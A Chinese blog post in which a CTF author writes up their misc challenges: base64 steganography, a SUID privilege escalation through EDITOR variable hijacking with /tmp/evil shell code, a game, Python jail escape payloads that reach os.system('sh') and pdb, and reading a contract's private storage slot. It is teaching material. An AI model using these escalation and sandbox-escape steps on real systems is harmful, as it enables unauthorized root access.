QCTF2025misc出题手记
写在前面
其实是叫?CTF,但是文件不能有?所以写成QCTF了。
第一次出题,总的来说还是很值得纪念的,那我就贴上wp顺便写点碎碎念好了
可以看到序破Q终的顺序是参考了EVA大电影的顺序()。
附上一道生蚝✌的区块链,其实我觉得作为入门题来说出的挺好的,但是莫名其妙登上了差评榜,,
《关于我穿越到CTF的异世界这档事:序》
前言
这道题总的来说还是挺满意的,在出的时候我是想让新生更多的了解base的原理,实际上还是有很多解法的。
就我了解的新生而言我发现有人直接爆破了base字母表的顺序也能做,毕竟只有base8而已吧。没事,至少这样也能让新生了解到base,我的目的也算是达成了。
题解
打开发现两个文件,一个alphabet.txt,一个base8.txt.
第一个明显提示了我们是字母表,第二个应该就是base8编码过的了。
打开发现又很多base64的句子(这里有个出题人的小心思,故意只用一句话来方便我们观察有何不同 )
cyberchef可以发现
The key has never been far away; it lies peacefully within the text itself.
解读一下这句话的意思就可以发现key(字母表)就在这些文本之中,那能藏在哪里呢?
这时候就要介绍一下base隐写了:
看一下这张图,是字母’A’被base64编码的情况,编码成了QQ==,A的ascii码是65,转化成二进制则是:01000001那base64是怎么编码的呢?实际上是将这些二进制按 3 字节(24 位)分组(不足补 0),然后拆分为 6 位,再查一下base64的字母表映射得到的编码。
例如:A是01000001,只有 8 位,需要补足成 6 的倍数,于是便补了两个 8 位,变成 3 x 8 = 4 x 6,然后前六位010000对应字母表的’Q’,于是编码成了Q。这样就可以顺利编码了。
于是我们也可以发现:第二个’Q’的后四位0000实际上是补足之后的得到的,并不影响转换。实际上我们改成010001也不会影响结果。
于是我们便可以在这里隐写二进制数据了。
这就是base64隐写了,解密的话我们可以自己写脚本。
参考脚本:
1 | import base64 |
运行之后得到 ?CTFmisc
这个编码表解一下base8(网站:https://try8.cn/tool/code/base8),
这一步可以网上找网站解码,如果能自己写脚本解是最好的。
参考脚本:
1 | def base8_custom_decode(cipher_text, alphabet): |
最后base64解码得到flag:
flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}
《关于我穿越到CTF的异世界这档事:破》
前言
这道题也算是我的一个小心愿吧。之前ACTF有一道也算是环境变量提权,我做到那就卡住了,然后还有一次国外的不知名小比赛上也有linux提权,明明很简单但我还是没做出来。
于是趁着这次机会想考察一下misc不那么主流(?)的知识点,linux提权。
题解
先利用tabby,ssh连接到靶机(不会的可以看看我的博客:https://metaviii.github.io/2024/12/awd%E5%88%9D%E4%BD%93%E9%AA%8C/)
连接上之后先ls一下发现有一个note,提醒我们SUID提权。
既然是SUID了,那我们找一下有哪些root的程序
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
三条命令都可以找到SUID的程序
发现一个奇怪的程序:editnote,这个不是系统自带的,应该就是我们提权的入口了。
提取文件的话tabby可以sftp,也就是右上角可以直接提取,如果没有tabby的话,可以用scp,rsync等。
提取出来file一下发现是elf文件
然后我们放IDA里F5分析一下,看到源代码:
整个程序主要是利用execlp来进行的,先从环境变量中获取EDITOR的值。不存在的话就打开vi编辑器,如果存在的话就用这个作为默认编辑器来执行。
这个EDITOR是所有用户都可以编辑的,也就是说我们可以挟持掉这个环境变量,让它执行我们想要的程序。
那怎么编写代码来提权呢?这个代码有哪些函数呢?
我们想反弹一个shell,就要用到/bin/sh
我们想提权到root的话可以用到setgid(0); setuid(0);,这个加上主要是为了确保是root,不加这个的话很可能会提权不成。
然后就差不多了。
可以得到代码:
1 | cat > /tmp/evil.c <<'EOF' |
这个即使我们初步的提权的代码了。
然后我们编译一下,加个可执行权限:
1 | gcc -o /tmp/evil /tmp/evil.c |
然后就是挟持EDITOR环境变量了:
1 | export EDITOR=/tmp/evil |
挟持完直接运行这个editnote即可:
1 | ./usr/local/bin/editnote |
就能发现自己是root了,拿到flag。
《关于我穿越到CTF的异世界这档事:Q》
前言
这道题也算是玩出新花样了,做这个游戏耗费了我一周半到两周左右的时间,明明东西不多而且跟着类似教程做还是弄了好久,在此感谢我的协力,也是我的室友:超级小马。
这道题的解法远比想象的多,在此列举几种:
1.正常打通游戏。
2.使用string,010等搜索出一些flag。
3.使用re的方法,解包这个exe
4.CheatEngine,作弊大师
5.修改存档位置数据。
其实这些方法都测出来了,但是没堵上吧,感觉misc多解才算比较好玩。
题解
作为一道游戏题,本质上是不想难为大家的,只要你愿意花时间做,应该都是能做出来的。
flag1
flag2
flag3
flag4
flag5
flag6
所以最后总结起来就是:
flag1:ZmxhZ3tZMHV
flag2:fQHJlX1
flag3:JlQDExeV9
flag4:BX0cwMGR
flag5:fR0FNRV
flag6:IhISF9
拼接在一起:ZmxhZ3tZMHVfQHJlX1JlQDExeV9BX0cwMGRfR0FNRVIhISF9
最后转base64得到flag
或者有人就要说了,主播我打不过去怎么办,当然解法还是很多的。
你可以直接010搜索flag串
当然我的flag2和4是搜不了的,建议这里手打(就是防止搜的太快了)。
《关于我穿越到CTF的异世界这档事:终》
前言
w4的题目一定要上点难度,但是我没有啥出的好的难题的想法,正好Ayan0学pyjail的而且也想出,于是就让给他了。
绝对不是我想偷懒!
这样的话w2是提权,w3是游戏,w4是pyjail,都不是传统misc呢
题解
灵感来源于jailCTF2025的primal
贴一下源码
1 | #!/usr/bin/env python3 |
主要的限制就是no builtins 和一切变量名/数值/带_的字符的长度需要是素数
首先no builtins基本就只能从现有的基本内置类型找突破口了
在数字受限的情况下可以找到reduce_ex这个方法(因为正常的继承链比如subclasses这些肯定用不了,能用的函数索引40往上走,用位运算很难控制),这个方法类似于reduce,但是它可以通过控制协议来返回一个描述如何重建一个对象的元组
而我们的[],{},’’一般会存在一个newobj的方法用于Unpickle
这个newobj方法可以访问到全局的builtins(dir一下),后面就是经典的套路也不多赘述
那么就可以得到一个payload
1 | [].__reduce_ex__(2)[0].__globals__['__builtins__']['__import__']('os').system('sh') |
本地测试一下可以成功执行
接着由于我们只有一个0,在__reduce_ex__我们想要控制协议版本>=2(低版本不支持内建类型的unpickling)
所以给了位运算符来拿到2,由于在python中bool和int是可以运算的
那么就会想到用0==0来构造出1,左移1位就是2
1 | a=0==0,b=a<<a,[].__reduce_ex__(b)[0].__globals__['__builtins__']['__import__']('os').system('sh') |
但是本地测试就会发现
因为在eval中是不支持赋值的,所以要用海象运算符:=来进行替换,并且有了海象表达式要用[]包裹一下,才可以被解析位为一个合法的表达式
至于海象运算符是什么就麻烦各位师傅自行去了解了,这里不展开
接下来就是解决名称质数的问题
这里其实师傅们自己调试一下很快就可以出来,先把字符串和变量名处理一下,会发现system用不了了
1 | [ai:=0==0,bi:=ai<<ai,[].__reduce_ex__(bi)[0].__globals__['__built''ins__']['__imp''ort__']('os').system('sh')] |
如果换popen需要多两个括号,不符合要求,再找找有没有其他可利用的函数
一顿搜可以看到我们的builtins里面是有一些调试函数的
例如breaklpoint() help()(其实license()也可以利用,但是没这两个短)
尝试后发现breakpoint()会报错
1 | KeyError: '__import__' |
这是由于它会隐式的调用__import__并且执行时当时的builtins使用的还是沙箱的builtins,需要获取到builtins后再覆盖__builtins__,但是这里素数长度这关就过不去了
最后自行调试一下可以调整0的个数(python里面都会被解析为0),就可以成功打穿
help命令
1 | [bi:=00==000,ci:=bi<<bi,[].__reduce_ex__(ci)[00].__globals__['__built''ins__']['he''lp']()] |
进入pdb模式:
1 | [bi:=00==000,ci:=bi<<bi,[].__reduce_ex__(ci)[00].__globals__['__built''ins__']['__imp''ort__']('pdb').run('asd')] |
但是这里由于起不了more,内容都会一次性输出,所以只能pdb
pdb之后就可以import,读flag了
1 | import os |
本周的签到
前言
当然这道题不是我出的,是生蚝出的,姑且作为我出的第一道区块链还是值得记录在此的。
题解
拿到nc连接我们先连一下
提示我们打0.001eth到部署者的账户上,题目中给了水龙头,直接打到账户上就行
打上去了之后我们部署一下合约
给了地址和哈希
1 | [+] contract address: 0xb21ac007490353943df40285aa2e5fa6559E87eA |
这个地址就是合约的地址。
当然首先我们要先读一下源码,一会方便部署remix
拿到源码:
1 | // SPDX-License-Identifier: MIT |
接下来我们读取一下链ID,方便添加网络
1 | from web3 import Web3 |
得到:Chain ID: 19992
然后切换一下自己metamask的网络,点击左上角,添加自定义网络,看到:
网络名称:随意
RPC:http://challenge.ilovectf.cn:8545/
链ID:19992
货币符号:ETH
URL:不填
保存即可。
然后我们打开remix:Remix - Ethereum IDE
新建一个Example.sol文件,把源码复制进去,点compile,环境选择Inject Provider - MetaMask,账户一定是自己新建的那个网络下的账户(如果账户没钱的话就用题目的水龙头打点钱就行)
之后填入at address,我这里是0xb21ac007490353943df40285aa2e5fa6559E87eA,点at address,就能看到
这个样子。
这道题是要我们传入一个message,使得这个message和secret的值一样,这样的话issolved()就会为true。
那我们怎么读取secret的值呢?
[!NOTE]
secret在合约里声明为string private secret;,并且它是第二个声明变量(第一个是message)。Solidity 存储规则:
- 对于
string(动态类型):
- 合约 storage 的该 slot(slot index)存放的是:如果数据短小(<32字节),可能会打包到 slot里;否则 slot 存放数据长度和/或指针,实际字节数据存放在
keccak256(slot)开始的后续槽里。在你的合约中:
message是第 0 个变量 → slot0secret是第 1 个变量 → slot1
也就是说,我们需要读取slot1的值,编写python脚本
1 | from web3 import Web3 |
区块链上的所有数据都是公开的,private 只是把数据标记为只允许合约内部修改
Ethereum Storage - CTF Wiki,详解Solidity合约数据存储布局 :: 以太坊技术与实现
其实读取slot也可以不用python脚本,可以用geth直接读取(这里参考了生蚝的wp)
1 | ❯ geth attach http://43.248.77.161:8545/ |
总之,得到secret:b1ockCh4iN_To_LE@RN
然后我们填入setMessage并点击,metaMask会跳出来确认交易,确认就行。
然后我们可以点点getMessage和isSolved的按钮(函数)来确认交易完成了。
可以看到isSolved为true了。然后我们nc读flag就行




















